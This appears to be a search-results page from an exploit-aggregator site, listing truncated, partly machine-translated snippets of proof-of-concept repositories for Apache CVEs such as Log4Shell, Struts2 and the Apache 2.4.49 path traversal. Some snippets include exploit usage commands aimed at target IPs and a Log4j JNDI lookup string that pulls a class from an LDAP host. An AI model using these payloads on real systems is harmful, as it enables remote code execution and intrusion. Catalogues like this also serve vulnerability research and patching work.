65188 matches found
CVE-2026-49975
CVE-2026-49975 HTTP/2 Bomb ★ CVE-2026-49975 HTTP/2 Bomb PoC ★ Panoramica CVE-2026-49975 è una vulnerabilità Denial of Service DoS in Apache HTTP Server. La vulnerabilità si verifica nel percorso di gestione delle richieste HTTP/2, dove più campi header cookie possono essere uniti senza essere...
Solr-SSRF
Solr-SSRF CVE-2021-27905 Il pacchetto repeat del file Burp contiene i passaggi specifici per la riproduzione Il POC è il plugin di rilevamento di Xray...
Apache-Log4j2-RCE
Apache Log4j2 RCE Ambiente di verifica Since from 2021.12.09 Riferimenti https://mp.weixin.qq.com/s/yck74F9p9QhVw3ykzVoSg Configurazione dell'ambiente Introduzione dei pacchetti Maven e intervallo di versioni vulnerabili root@kitploit: org.apache.logging.log4j log4j-api 2.14.1...
CVE-2020-13937
Beschreibung Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1, 3.0.2, 3.1.0, 4.0.0-alpha hat eine RESTful-API, die die Konfigurationsinformationen von Kyli...
cve-2014-0050
cve-2014-0050 CVE-2014-0050 Esempio di sito vulnerabile Questo progetto ha lo scopo di dimostrare lo sfruttamento di CVE-2014-0050 a scopo educativo. Per maggiori informazioni, vedere:...
CVE-2019-0230
O que é isso Este é um Projeto de teste simples para S2-059 que pode ser usado para analisar os detalhes desta vulnerabilidade. Como usar Passo 1: Use o IDEA para importar este projeto Passo 2: configure o servidor Tomcat Passo 3: Acesse pelo navegador...
CVE-2024-46507
Lo script è stato testato e costruito su Ubuntu Server 20.04 LTS, mentre Kali Linux è stato utilizzato per lo sfruttamento e la guida dettagliata. Questa guida ti accompagna attraverso lo sfruttamento del server vulnerabile contenente le vulnerabilità CVE-2024-46507 iniezione di comandi e...
CVE-2022-33891
CVE-2022-33891 Apache Spark Sicherheitslücke Exploit . Erstellt von : Dr.Linux Dieses Exploit läuft mit Python Version 3.7 und neueren Versionen von Python...
CVE-2025-24813
CVE-2025-24813 Tomcat PoC PoC per un ambiente CTF/lab autorizzato. Sfrutta CVE-2025-24813 tramite la scrittura PUT parziale di un file di sessione Tomcat, quindi innesca la deserializzazione con JSESSIONID. Prerequisiti Python 3 Modulo Python requests Java JDK java e javac Il file incluso...
CVE-2018-11776
CVE-2018-11776 Indagine sulla vulnerabilità CVE-2018-11776 che consente agli attaccanti di eseguire codice in remoto e ottenere il controllo delle applicazioni basate su Apache Struts. Installazione ed exploit https://github.com/hook-s3c/CVE-2018-11776-Python-PoC Suricata Nel file test.rules è...
CVE-2017-9805-Apache-Struts-Fuzz-N-Sploit
CVE-2017-9805StrutsFuzzNSploit Nur ein schreckliches Skript, das ich in Python3 geschrieben habe, um zu fuzzen und falls gewünscht über Metasploit zu exploitieren: CVE-2017-9805 RCE für CTFs oder was auch immer, gemäß der thugcrowd DWTFYW Public License, die ich von diesen coolen Katzen geklaut...
CVE-2021-41773
CVE-2021-41773 Path Traversal para Apache 2.4.49 Base afetada hora: 22:49 06/10/2021 Uso root@kitploit: IP python3 CVE-2021-41773.py -i 10.10.10.10 -s List of ips python3 CVE-2021-41773.py -l /home/ac1d/Documents/code/python/CVE-2021-41773/ips.txt -s Captura de tela...
cve-2021-41773-source-code-analysis
Apache HTTP Server CVE-2021-41773 Quellcode-Analyse Ein Python-basiertes statisches Patch-Analyse-Tool zur Untersuchung der Grundursache und Behebung von CVE-2021-41773 Apache HTTP Server Path Traversal durch den Vergleich des verwundbaren Quellcodes von Apache HTTP Server 2.4.49 mit der gepatcht...
CVE-2021-41773
CVE-2021-41773 Questa è la mia prima volta che cerco di creare un exploit per qualcosa, quindi... siate gentili 😁 root@kitploit: Exploit Title: Apache HTTP Server 2.4.49 Path Traversal Author: 0xRar , 0xrar.net CVE: CVE-2021-41773 Version: Apache 2.4.49 Not Tested Yet Comando di aiuto:...
CVE-2021-41773
Riproduzione di CVE-2021-41773 https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited Vulnerabilità esclusiva di Apache v2.4.49. Nelle versioni precedenti non esisteva la funzione apnormalizepath, introdotta proprio nella v2.4.49. È stata questa funzio...
Log4J_0day_RCE
Unisciti alla Community Telegram CVE-2021-44228Apache Log4j Esecuzione Remota di Codice） Versioni interessate puoi usare JNDI-Injection-Exploit per effettuare l'exploit. Bypass di rc1 Per esempio: root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName...
CVE-2021-44228-Apache-Log4j
CVE-2021-44228 Apache Log4j Esecuzione remota di codice Versioni interessate: tutte le versioni dalla 2.0-beta9 alla 2.12.1 e dalla 2.13.0 alla 2.15.0 Avvisi / bollettini di sicurezza collegati a Log4Shell CVE-2021-44228 Utilizzo: 1. Scarica il progetto, compila InjectClazz.java root@kitploit:...
CVE-2020-17530
S2-061 Gli script sono tutti scritti per l'ambiente di test delle vulnerabilità struts2-059/061 di vulhub, non sono universali. Spero che i maestri possano dare consigli. struts2-061-poc.py esegue semplici comandi di sistema Uso: python struts2-061-poc.py http://ip:port comando Esempio: python...